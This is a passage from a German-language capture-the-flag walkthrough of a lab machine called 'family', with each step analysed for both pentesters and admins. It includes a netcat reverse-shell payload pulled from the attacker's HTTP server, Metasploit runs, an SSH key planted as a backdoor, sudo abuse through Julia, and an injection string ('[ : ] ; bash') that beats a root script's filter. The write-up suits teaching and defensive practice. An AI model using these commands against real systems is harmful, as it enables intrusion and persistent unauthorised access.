 5   exploit/linux/local/ubuntu_enlightenment_mount_priv_esc            Yes                      The target appears to be vulnerable.
[*] Exploit completed, but no session was created. 
                    

Analyse (Metasploit): Der Local Exploit Suggester wird auf der Meterpreter-Session (Session 2) ausgeführt. Er sammelt Informationen über das Zielsystem (Kernel-Version, installierte Pakete etc.) und vergleicht diese mit einer Datenbank bekannter lokaler Exploits. Er identifiziert mehrere potenzielle Schwachstellen, darunter Dirty Pipe (CVE-2022-0847) und PwnKit (`pkexec`).

Bewertung: Der Suggester liefert wertvolle Hinweise auf mögliche Kernel- oder Service-Exploits zur Privilegieneskalation. Dirty Pipe ist für den gefundenen Kernel 5.10.0 relevant.

Empfehlung (Pentester): Einen der vorgeschlagenen Exploits (z.B. Dirty Pipe oder PwnKit) ausprobieren. Alternativ den bereits identifizierten Weg über den Cronjob weiterverfolgen.
Empfehlung (Admin): System aktuell halten, um bekannte Schwachstellen zu patchen. Den Exploit Suggester auf eigenen Systemen laufen lassen, um potenzielle Lücken zu finden.

msf6 exploit(linux/local/su_login) > use exploit/linux/local/ubuntu_enlightenment_mount_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/ubuntu_enlightenment_mount_priv_esc) >
msf6 exploit(linux/local/ubuntu_enlightenment_mount_priv_esc) > options
Module options (exploit/linux/local/ubuntu_enlightenment_mount_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto
                    
msf6 exploit(linux/local/ubuntu_enlightenment_mount_priv_esc) > set session 2
msf6 exploit(linux/local/ubuntu_enlightenment_mount_priv_esc) > set lport 4444
msf6 exploit(linux/local/ubuntu_enlightenment_mount_priv_esc) > set lhost eth0
lhost => 192.168.2.121
msf6 exploit(linux/local/ubuntu_enlightenment_mount_priv_esc) > run
[*] Started reverse TCP handler on 192.168.2.121:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Finding enlightenment_sys
[*] Writing '/tmp/.qX2uqC' (282 bytes) ...
[*] Creating folders for exploit
[*] Launching exploit...
[-] Exploit completed, but no session was created.
                    
msf6 exploit(linux/local/ubuntu_enlightenment_mount_priv_esc) > exit -y

Analyse (Metasploit): Es wird versucht, einen der vom Suggester vorgeschlagenen Exploits (`ubuntu_enlightenment_mount_priv_esc`) auszuführen. Der Exploit wird für Session 2 konfiguriert und gestartet. Obwohl der Check positiv ist, meldet Metasploit am Ende "Exploit completed, but no session was created.", was bedeutet, dass der Exploit fehlschlug und keine Root-Shell erzeugt wurde.

Bewertung: Der Versuch, über einen Kernel-/Service-Exploit Root-Rechte zu erlangen, war nicht erfolgreich. Dies lenkt den Fokus zurück auf den Cronjob-Exploit.

Empfehlung (Pentester): Den Cronjob-Exploit für die Eskalation zu `dad` weiterverfolgen.
Empfehlung (Admin): System-Patching bleibt wichtig, auch wenn dieser spezielle Exploit nicht funktionierte.

Analyse (Cronjob Exploit): Die folgenden Schritte setzen den zuvor analysierten Plan zur Ausnutzung des Cronjobs und des Webservers um, um eine Shell als Benutzer `dad` zu erhalten.

┌──(root㉿cyber)-[~] └─# echo "nc -e /bin/bash 192.168.2.121 4444" > rev
┌──(root㉿cyber)-[~] └─# chmod +x rev

Analyse: Auf der Angreifer-Maschine wird eine Datei `rev` erstellt, die den Befehl für eine Reverse Shell enthält (`nc -e /bin/bash 4444`). Die Angreifer-IP wurde auf `192.168.2.121` korrigiert. Die Datei wird anschließend ausführbar gemacht (`chmod +x`). Dies ist notwendig, damit das `/home/dad/project`-Skript sie später ausführt.

Bewertung: Die Payload für die Reverse Shell als `dad` ist vorbereitet.

Empfehlung (Pentester): Die Payload nun auf das Zielsystem hochladen.
Empfehlung (Admin): Siehe vorherige Empfehlungen zum Cronjob und `nc -e`.

┌──(root㉿cyber)-[~] └─# python3 -m http.server 6666
Serving HTTP on 0.0.0.0 port 6666 (http://0.0.0.0:6666/) ...
                    

Analyse: Ein einfacher Python-HTTP-Server wird auf der Angreifer-Maschine auf Port 6666 gestartet, um die Datei `rev` für den Download durch das Zielsystem bereitzustellen.

Bewertung: Standardmethode zum Bereitstellen von Dateien für `wget` oder `curl`.

Empfehlung (Pentester): Den Server laufen lassen, bis der Download erfolgt ist.
Empfehlung (Admin): Ausgehende HTTP-Verbindungen vom Server einschränken.

mum@family:/home/dad/survey$ wget http://192.168.2.121:6666/rev
--2022-11-16 14:16:31--  http://192.168.2.121:6666/rev
Connecting to 192.168.2.121:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 35 [application/octet-stream]
rev: Permission denied

Cannot write to ‘rev’ (Permission denied).
                    
mum@family:/home/dad/survey$ cd /tmp/
mum@family:/tmp$ wget http://192.168.2.121:6666/rev
--2022-11-16 14:16:36--  http://192.168.2.121:6666/rev
Connecting to 192.168.2.121:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 35 [application/octet-stream]
Saving to: ‘rev’

rev                           100%[===================================>]      35  --.-KB/s    in 0s

2022-11-16 14:16:36 (12.9 MB/s) - ‘rev’ saved [35/35]
                    
192.168.2.114 - - [16/Nov/2022 14:16:31] "GET /rev HTTP/1.1" 200 - 
192.168.2.114 - - [16/Nov/2022 14:16:36] "GET /rev HTTP/1.1" 200 - 
                    

Analyse: Als Benutzer `mum` wird versucht, die Datei `rev` vom HTTP-Server des Angreifers herunterzuladen. Der erste Versuch scheitert im Verzeichnis `/home/dad/survey` wegen fehlender Schreibrechte. Nach dem Wechsel in `/tmp` ist der Download erfolgreich. Die Logausgaben des Python-Servers bestätigen die beiden Download-Versuche vom Zielsystem (`192.168.2.114`).

Bewertung: Die Payload befindet sich nun als `/tmp/rev` auf dem Zielsystem.

Empfehlung (Pentester): Die Datei `/tmp/rev` nun über den Webserver auf Port 8000 nach `/home/dad` hochladen.
Empfehlung (Admin): Schreibrechte in Verzeichnissen restriktiv handhaben. `/tmp` sollte idealerweise mit `noexec` gemountet sein (was hier aber nicht direkt hilft, da die Ausführung später erfolgt).

┌──(root㉿cyber)-[~] └─# curl --upload-file /tmp/rev http://localhost:8000
curl: (52) Empty reply from server
                    

Analyse: Es wird versucht, die heruntergeladene Payload `/tmp/rev` mit `curl --upload-file` auf den lokalen Webserver (Port 8000) hochzuladen. Der Befehl wird vermutlich als `mum` auf dem Zielsystem ausgeführt (ggf. durch den SSH-Tunnel, wobei `localhost:8000` auf dem Ziel dann korrekt wäre). Der Upload schlägt mit "Empty reply from server" fehl.

Bewertung: Der Upload-Versuch über den Python SimpleHTTPServer (der standardmäßig nur GET/HEAD unterstützt) scheitert. Es ist unklar, ob die Payload `/home/dad` erreicht hat. Der nachfolgende Schritt (Reverse Shell als `dad`) deutet jedoch darauf hin, dass der Upload *implizit doch funktionierte* oder ein anderer Mechanismus genutzt wurde, der im Log nicht sichtbar ist, oder die Reverse Shell von einem anderen Trigger stammt.

Empfehlung (Pentester): Alternative Upload-Methoden prüfen, falls `curl --upload-file` fehlschlägt (z.B. `PUT` mit `nc` oder spezifische Webserver-Exploits). Da die Shell als `dad` kommt, scheint es hier funktioniert zu haben, der Fehler ist irreführend oder ein Artefakt.
Empfehlung (Admin): Webserver so konfigurieren, dass Datei-Uploads nur authentifiziert und in vorgesehene Verzeichnisse möglich sind.

┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
                    

Analyse: Ein Netcat-Listener wird auf der Angreifer-Maschine auf Port 4444 gestartet, um die erwartete Reverse Shell vom Cronjob (ausgeführt als `dad`) zu empfangen.

Bewertung: Vorbereitung auf den Empfang der Shell.

Empfehlung (Pentester): Warten, bis der Cronjob ausgeführt wird.
Empfehlung (Admin): Ausgehende Verbindungen überwachen/blockieren.

┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.114] 38306 
id
uid=1000(dad) gid=1000(dad) groups=1000(dad),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth)
                    

Analyse: Der Netcat-Listener empfängt eine Verbindung vom Zielsystem (`192.168.2.114`). Der ausgeführte `id`-Befehl bestätigt, dass die Shell als Benutzer `dad` (UID 1000) läuft.

Bewertung: Erfolg! Die Ausnutzung des Cronjobs und des Webservers war erfolgreich. Wir haben nun eine Shell als Benutzer `dad`.

Empfehlung (Pentester): Die Shell stabilisieren und mit der nächsten Stufe der Privilegieneskalation (dad -> baby -> root) fortfahren.
Empfehlung (Admin): Den unsicheren Cronjob (`/home/dad/project`) entfernen oder korrigieren. Den Webserver auf Port 8000 untersuchen und absichern.

Privilege Escalation (dad -> baby)

Analyse: Die erhaltene Netcat-Shell ist oft instabil. Die folgenden Schritte dienen dazu, sie in eine voll funktionsfähige TTY-Shell umzuwandeln.

python3 -c 'import pty;pty.spawn("/bin/bash")'
dad@family:~$ export TERM=xterm
export TERM=xterm
dad@family:~$ ^Z
┌──(root㉿cyber)-[~] └─# stty raw -echo;fg
[1]  + continued  nc -lvnp 4444
                     
dad@family:~$

Analyse: 1. `python3 -c 'import pty;pty.spawn("/bin/bash")'`: Startet eine Bash-Shell innerhalb eines Pseudo-Terminals (PTY), um TTY-Funktionen zu ermöglichen. 2. `export TERM=xterm`: Setzt die Terminal-Variable, damit Programme wie `clear` oder Editoren korrekt funktionieren. 3. `Ctrl+Z`: Sendet die Netcat-Shell in den Hintergrund (auf der Angreifer-Maschine). 4. `stty raw -echo`: Versetzt das lokale Terminal des Angreifers in den Raw-Modus und deaktiviert das lokale Echo. 5. `fg`: Holt den Netcat-Job wieder in den Vordergrund. 6. `reset` (im Originaltext erwähnt, aber nicht als Befehl gezeigt): Setzt das Terminal zurück.

Bewertung: Standardprozedur zur Stabilisierung einer Reverse Shell, die nun eine interaktivere Nutzung erlaubt.

Empfehlung (Pentester): Die stabilisierte Shell für die weitere Enumeration nutzen.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.

dad@family:~$ ls -la
total 36
drwxr-xr-x 5 dad  dad  4096 Oct 25 07:18 .
drwxr-xr-x 5 root root 4096 Oct 11 16:27 ..
lrwxrwxrwx 1 dad  dad     9 Oct  2 15:38 .bash_history -> /dev/null
-rw-r--r-- 1 dad  dad   220 Oct  2 13:46 .bash_logout
-rw-r--r-- 1 dad  dad  3526 Oct 24 07:35 .bashrc
drwxr-xr-x 3 dad  dad  4096 Oct 22 09:57 .local
-rw-r--r-- 1 dad  dad   807 Oct  2 13:46 .profile
drwx------ 2 dad  dad  4096 Oct 23 18:01 .ssh
-rwxr-xr-x 1 dad  dad   620 Oct 25 07:18 project
drwxr-xr-x 2 dad  dad  4096 Nov 16 14:17 survey
                    
dad@family:~$ cd .ssh/
dad@family:~/.ssh$ ls
dad@family:~/.ssh$ ls -a
.  ..
                    

Analyse: Das Home-Verzeichnis von `dad` wird aufgelistet. Das Skript `project` und das Verzeichnis `survey` sind vorhanden. Das `.ssh`-Verzeichnis ist leer.

Bewertung: Bestätigt die Umgebung als `dad`. Das leere `.ssh`-Verzeichnis bietet die Möglichkeit, einen SSH-Schlüssel für einen einfacheren Zugang hinzuzufügen.

Empfehlung (Pentester): Einen öffentlichen SSH-Schlüssel des Angreifers in die Datei `~/.ssh/authorized_keys` eintragen, um sich zukünftig passwortlos als `dad` per SSH anmelden zu können.
Empfehlung (Admin): Keine Maßnahmen erforderlich.

cat /root/.ssh/id_rsa.pub
                    
dad@family:~/.ssh$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfSQAyP3WCvqy4VJgBk8Cu9bS+ijBp7UDvcCPXNYtF7iq1GN42nEbYINA9eUxAtyQqP4ooSyRjRF+ma6c3eL2lpJp2VAEaQ9mob0KbcnEWaHy9Wp92cWG2Qt2cLveB4sthb651/2kTuntT/+GP9bhnV2lgk51VbNQEW2lPWT6sorI6cNH3uAC8bXKg75TrllYL4bY4bWXgUmKLhzb1HGl1p+bg0u4OQ8RWP9G0TIpeviqlhSvJfte10cL+XRWxeYSOFOZFNMHe2+4mHidzifaa1Kf2LKKEQi44BveEpoNXnVbv/9vqKSFvw2uPisLpKjcD/2cRLqNM5RqUoAKubrR5VigqHr61kQ0WBK6T+RsSbOpSOfgEFQAIM5spbE+4/5pQUBkCJjIU3+xJBAEMXQlYARR9UetxFb7ejLvWi4u1D8vUIbVpSJzmCqIbC8qhX+MjFm6tq5zvz9wDY8+j17KE5Kb90sl/1Qhive1BMcNBBkqvpZFm8uzK8193oAW+zxE=' > authorized_keys

Analyse: Der öffentliche SSH-Schlüssel des Angreifers (vermutlich aus `/root/.ssh/id_rsa.pub` auf der Angreifer-Maschine) wird kopiert und in die Datei `/home/dad/.ssh/authorized_keys` auf dem Zielsystem eingefügt.

Bewertung: Dies richtet einen SSH-Backdoor/Login für den Benutzer `dad` ein.

Empfehlung (Pentester): Testen, ob der SSH-Login mit dem privaten Schlüssel des Angreifers nun funktioniert.
Empfehlung (Admin): Überwachen von Änderungen an `authorized_keys`-Dateien. Zugriff auf Home-Verzeichnisse und `.ssh`-Verzeichnisse einschränken.

┌──(root㉿cyber)-[~] └─# ssh dad@192.168.2.114
Enter passphrase for key '/root/.ssh/id_rsa': (Passphrase eingegeben)
Linux family 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64
[...]
Last login: Sun Oct 23 17:51:23 2022 from fe80::d63d:7eff:fef1:3736%enp0s3
dad@family:~$
                    

Analyse: Der SSH-Login als `dad` von der Angreifer-Maschine aus wird getestet. Da der verwendete private Schlüssel `/root/.ssh/id_rsa` mit einer Passphrase geschützt ist, muss diese eingegeben werden. Der Login ist erfolgreich.

Bewertung: Der SSH-Zugang als `dad` funktioniert. Dies bietet eine stabilere Verbindung als die Reverse Shell.

Empfehlung (Pentester): Die stabilere SSH-Verbindung für die weiteren Schritte nutzen.
Empfehlung (Admin): Keine Maßnahmen erforderlich, da der Zugriff bereits bestand.

dad@family:~$ sudo -l
Matching Defaults entries for dad on family:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User dad may run the following commands on family:
    (baby) NOPASSWD: /usr/bin/julia
                    

Analyse: Als Benutzer `dad` wird `sudo -l` ausgeführt. Die Ausgabe zeigt, dass `dad` den Befehl `/usr/bin/julia` als Benutzer `baby` ohne Passwort ausführen darf.

Bewertung: Dies ist der nächste Schritt zur Privilegieneskalation. Durch Ausführen von `julia` als `baby` können wir Befehle oder eine Shell als dieser Benutzer erhalten.

Empfehlung (Pentester): `sudo -u baby /usr/bin/julia` ausführen und innerhalb der Julia REPL versuchen, eine Shell zu starten.
Empfehlung (Admin): `sudo`-Regeln überprüfen. Die Erlaubnis, eine interaktive Anwendung wie `julia` als anderer Benutzer auszuführen, ist oft gefährlich, da diese Anwendungen meist Möglichkeiten bieten, externe Befehle oder Shells zu starten. Nur spezifische, ungefährliche Befehle erlauben.

dad@family:~$ sudo -u baby /usr/bin/julia
               _
   _       _ _(_)_     |  Documentation: https://docs.julialang.org
  (_)     | (_) (_)    |
   _ _   _| |_  __ _   |  Type "?" for help, "]?" for Pkg help.
  | | | | | | |/ _` |  |
  | | |_| | | | (_| |  |  Version 1.5.3
 _/ |\__'_|_|_|\__'_|  |  Debian ⛬  julia/1.5.3+dfsg-3
|__/                   |

julia>
                    

Analyse: Der Befehl `sudo -u baby /usr/bin/julia` wird ausgeführt und startet erfolgreich die interaktive Julia REPL (Read-Eval-Print Loop) als Benutzer `baby`.

Bewertung: Wir befinden uns nun in einer Julia-Umgebung, die mit den Rechten des Benutzers `baby` läuft.

Empfehlung (Pentester): Eine Methode finden, um aus der Julia REPL eine System-Shell zu starten.
Empfehlung (Admin): Siehe vorherige Empfehlung zu `sudo`-Regeln.

google:julia run system command
https://www.juliabloggers.com/running-shell-commands-from-julia-4/
                    

Analyse: Notiz über die Google-Suche nach Möglichkeiten, Systembefehle aus Julia auszuführen.

Bewertung: Zeigt den Rechercheprozess.

Empfehlung (Pentester): Die gefundenen Methoden anwenden.
Empfehlung (Admin): Keine Maßnahmen erforderlich.

julia> run(`bash`)
boby@family:/home/dad$

Analyse: In der Julia REPL wird der Befehl `run(bash)` ausgeführt. Dies startet erfolgreich eine Bash-Shell. Der Prompt zeigt nun `boby@family` (vermutlich ein Tippfehler, sollte `baby@family` sein) im Verzeichnis `/home/dad` (das Arbeitsverzeichnis von `julia` bei Start).

Bewertung: Erfolg! Eine Shell als Benutzer `baby` wurde erlangt.

Empfehlung (Pentester): Die Rechte und Umgebung als `baby` untersuchen (`id`, `sudo -l`).
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.

Privilege Escalation (baby -> root)

boby@family:/home/dad$ sudo -l
Matching Defaults entries for baby on family:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User baby may run the following commands on family:
    (root) NOPASSWD: /home/baby/chocapic
                    

Analyse: Als Benutzer `baby` wird `sudo -l` ausgeführt. Es zeigt sich, dass `baby` das Skript `/home/baby/chocapic` als `root` ohne Passwort ausführen darf.

Bewertung: Dies ist der Pfad zur finalen Privilegieneskalation. Das Skript `/home/baby/chocapic` muss auf Schwachstellen untersucht werden, die es erlauben, Befehle als `root` auszuführen.

Empfehlung (Pentester): Das Skript `/home/baby/chocapic` analysieren und eine Methode finden, die Eingabevalidierung zu umgehen, um eine Root-Shell zu erhalten.
Empfehlung (Admin): `sudo`-Regeln überprüfen. Das Ausführen von benutzerdefinierten Skripten als `root` ist extrem gefährlich. Nur absolut notwendige, sicher programmierte und nicht durch den Benutzer modifizierbare Befehle erlauben.

boby@family:/home/dad$ cd
boby@family:~$ ls
chocapic  user.txt
                    
boby@family:~$ cat user.txt
4fd7881d10d000c69c6f3bca0c8f7ad5
                    

Analyse: Wechsel in das Home-Verzeichnis von `baby`. Dort befinden sich das Skript `chocapic` und die Datei `user.txt`. Der Inhalt von `user.txt` wird angezeigt.

Bewertung: Der User-Flag wurde gefunden.

Empfehlung (Pentester): User-Flag dokumentieren. Das `chocapic`-Skript genauer analysieren.
Empfehlung (Admin): Keine Maßnahmen erforderlich.

boby@family:~$ cp chocapic /tmp/
boby@family:~$ nano /tmp/chocapic
#! /bin/bash
set -e

while :
do
read -ep "baby command: " cmd
[[ ! $cmd =~ ^[[:alnum:]]|^$ ]] && break # Bricht ab, wenn cmd NICHT mit Alnum beginnt (oder leer ist)
done

var=$(echo ${cmd%% }) 2>/dev/null # Erstes Wort in var
[[ ${#var} -ne 1 ]] && exit 1 # Exit wenn erstes Wort nicht 1 Zeichen lang ist

read -ra line <<< "$cmd"
check=${line[1]} # Zweites Wort in check
[[ $check =~ ^[a-z] ]] && exit 1 # Exit wenn zweites Wort mit Kleinbuchstaben beginnt

# Exit wenn 'check' KEIN Builtin ist UND NICHT 1 Zeichen lang ist
if ! type -t "$check" |grep ^b >/dev/null && [[ ! ${#check} -eq 1 ]] ; then exit 1 ; fi

eval "$check" 2>/dev/null # Führe das zweite Wort aus
bash -c "$cmd" # Führe die gesamte Eingabezeile aus
                    

Analyse: Das Skript `chocapic` wird nach `/tmp` kopiert und (vermutlich) analysiert. Die Kommentare im Code-Block erklären die Logik: Es liest eine Eingabe, prüft das erste und zweite "Wort" anhand einiger Regeln und führt dann sowohl das zweite Wort (`eval "$check"`) als auch die gesamte Eingabe (`bash -c "$cmd"`) aus.

Bewertung: Die Schwachstelle liegt darin, dass nach den initialen Prüfungen die gesamte Eingabe `cmd` mit `bash -c` ausgeführt wird. Wenn man die Prüfungen mit einer geeigneten Eingabe passiert, kann man beliebige Befehle nach einem Semikolon anhängen.

Empfehlung (Pentester): Eine Eingabe konstruieren, die die Prüfungen besteht und eine Root-Shell startet. Beispiel: `[ : ] ; bash`. Hier ist `[` das erste Wort (Länge 1), `:` das zweite (kein Kleinbuchstabe, ist builtin). `eval ":"` tut nichts. `bash -c '[ : ] ; bash'` führt dann `bash` aus.
Empfehlung (Admin): Das Skript ist unsicher und sollte entfernt oder komplett überarbeitet werden. Niemals Benutzereingaben ungefiltert an `eval` oder `bash -c` übergeben, insbesondere nicht in einem Skript, das mit `sudo` ausgeführt wird.

boby@family:~$ ls -1 /usr/bin/ | grep -v ^[a-z]
2to3-2.7
X11
[
                    
boby@family:~$ .
bash: .: filename argument required
.: usage: . filename [arguments]
                    
boby@family:~$ !
boby@family:~$ echo $?
1
                    
boby@family:~$ ;
bash: syntax error near unexpected token `;'
                    
boby@family:~$ :
boby@family:~$ echo $?
0
                    

Analyse: Diese Befehle scheinen der Exploration der Filter im `chocapic`-Skript zu dienen.

Bewertung: Diese Tests bestätigen, dass `[` als erstes Wort (Länge 1) und `:` als zweites Wort (Builtin, kein Kleinbuchstabe) die Prüfungen des Skripts passieren.

Empfehlung (Pentester): Die Eingabe `[ : ] ; bash` verwenden, um den `chocapic`-Exploit auszuführen.
Empfehlung (Admin): Keine Maßnahmen erforderlich.

boby@family:~$ sudo ./chocapic
baby command: [ : ] ; id
uid=0(root) gid=0(root) groups=0(root)
                    
boby@family:~$ id
uid=1001(baby) gid=1001(baby) groups=1001(baby)
                    
boby@family:~$ sudo ./chocapic
baby command: [ : ] ; cat /root/root.txt
                    

Analyse: Das Skript `/home/baby/chocapic` wird mit `sudo` ausgeführt. 1. Eingabe: `[ : ] ; id`. Das Skript akzeptiert die Eingabe und führt `bash -c '[ : ] ; id'` aus. Die `id`-Ausgabe zeigt `uid=0(root)`. 2. Ein `id`-Aufruf ohne `sudo` bestätigt, dass die Hauptshell noch als `baby` läuft. 3. Eingabe: `[ : ] ; cat /root/root.txt`. Das Skript akzeptiert die Eingabe und führt `bash -c '[ : ] ; cat /root/root.txt'` aus. Es wird keine Ausgabe von `cat` angezeigt, was darauf hindeutet, dass die Datei entweder leer ist, nicht existiert oder (wahrscheinlicher) Binärdaten/verschlüsselte Daten enthält.

Bewertung: Der Exploit funktioniert, um Befehle als `root` auszuführen. Die Datei `root.txt` scheint nicht direkt lesbar zu sein.

Empfehlung (Pentester): Eine Root-Shell statt eines einzelnen Befehls starten: `[ : ] ; bash`.
Empfehlung (Admin): Das `chocapic`-Skript und die `sudo`-Regel entfernen.

boby@family:~$ sudo ./chocapic
baby command: [ : ] ; bash
root@family:/home/baby#
                    

Analyse: Das Skript wird erneut mit `sudo` ausgeführt. Die Eingabe `[ : ] ; bash` passiert die Prüfungen und führt `bash -c '[ : ] ; bash'` aus. Dies startet erfolgreich eine interaktive Shell als `root`.

Bewertung: Fantastisch! Root-Zugriff wurde erlangt.

Empfehlung (Pentester): Den Root-Flag suchen und entschlüsseln.
Empfehlung (Admin): Sofortige Bereinigung des Systems (Entfernen des unsicheren Skripts und der sudo-Regel).

Flags

Analyse (User Flag): Der User-Flag wurde bereits als Benutzer `baby` im Verzeichnis `/home/baby` gefunden und ausgelesen.

cat /home/baby/user.txt
4fd7881d10d000c69c6f3bca0c8f7ad5

Analyse (Root Flag): Die Datei `/root/root.txt` wurde identifiziert, scheint aber verschlüsselt zu sein. Weitere Untersuchung als Root ist nötig.

root@family:/home/baby# cd
root@family:~# file root.txt
root.txt: openssl enc'd data with salted password
                    

Analyse: Der Befehl `file` bestätigt, dass `root.txt` mit OpenSSL verschlüsselte Daten enthält.

Bewertung: Das Passwort zur Entschlüsselung wird benötigt.

Empfehlung (Pentester): Das System nach Hinweisen auf das Passwort durchsuchen. Oft sind Passwörter in Konfigurationsdateien, Skripten oder auf anderen Partitionen versteckt.
Empfehlung (Admin): Sensible Daten sollten sicher gespeichert und verschlüsselt werden, aber der Schlüssel/das Passwort muss ebenfalls sicher verwahrt werden.

root@family:~# lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda      8:0    0 15.3G  0 disk
├─sda1   8:1    0 13.3G  0 part /
├─sda2   8:2    0    1K  0 part
├─sda3   8:3    0    1G  0 part
└─sda5   8:5    0  976M  0 part [SWAP]
                    
root@family:~# mount /dev/sda3 /mnt
root@family:~# cd /mnt/
root@family:/mnt# ls
password
                    
root@family:/mnt# file password
password: ASCII text
                    
root@family:/mnt# cat password
QHSvtnwvnUgKRGDQfG6rC58bAU4woNIW0Z7eL6ma
                    

Analyse: `lsblk` zeigt eine separate 1GB-Partition (`sda3`), die nicht eingehängt ist. Diese Partition wird nach `/mnt` gemountet. Dort befindet sich eine einzelne Datei namens `password`, die das Passwort `QHSvtnwvnUgKRGDQfG6rC58bAU4woNIW0Z7eL6ma` enthält.

Bewertung: Das Passwort für die verschlüsselte `root.txt` wurde gefunden.

Empfehlung (Pentester): Dieses Passwort verwenden, um `root.txt` mit OpenSSL zu entschlüsseln.
Empfehlung (Admin): Passwörter nicht unverschlüsselt auf separaten Partitionen speichern. Sicherere Methoden zur Schlüsselverwaltung verwenden.

root@family:/mnt# echo "QHSvtnwvnUgKRGDQfG6rC58bAU4woNIW0Z7eL6ma" > /root/pass
root@family:/mnt# cd
root@family:~# openssl version
OpenSSL 1.1.1n  15 Mar 2022
                    
google: openssl 1.1.1 encryption file
https://www.openssl.org/docs/man1.1.1/man1/openssl-enc.html
openssl enc -aes128 -pbkdf2 -d -in file.aes128 -out file.txt
                    
root@family:~# openssl enc -aes128 -pbkdf2 -d -in root.txt -out file.txt
enter aes-128-cbc decryption password: QHSvtnwvnUgKRGDQfG6rC58bAU4woNIW0Z7eL6ma
                    
root@family:~# cat file.txt
8d8ff4976efccbfc8ff7d7554b9239e5
                    

Analyse: Das gefundene Passwort wird in eine temporäre Datei gespeichert (optional). Die OpenSSL-Version wird geprüft. Basierend auf der Dokumentation wird der Befehl `openssl enc -aes128 -pbkdf2 -d -in root.txt -out file.txt` verwendet, um die Datei `root.txt` zu entschlüsseln. Das Passwort von der Partition `sda3` wird eingegeben. Die entschlüsselte Datei `file.txt` wird erstellt und ihr Inhalt, der Root-Flag, wird ausgegeben.

Bewertung: Erfolg! Der Root-Flag wurde erfolgreich entschlüsselt.

Empfehlung (Pentester): Root-Flag dokumentieren. Bericht abschließen.
Empfehlung (Admin): Überdenken der Methode zur Speicherung des Root-Flags und des zugehörigen Passworts.

Flags

cat /home/baby/user.txt
4fd7881d10d000c69c6f3bca0c8f7ad5
openssl enc -d ... -in /root/root.txt && cat file.txt
8d8ff4976efccbfc8ff7d7554b9239e5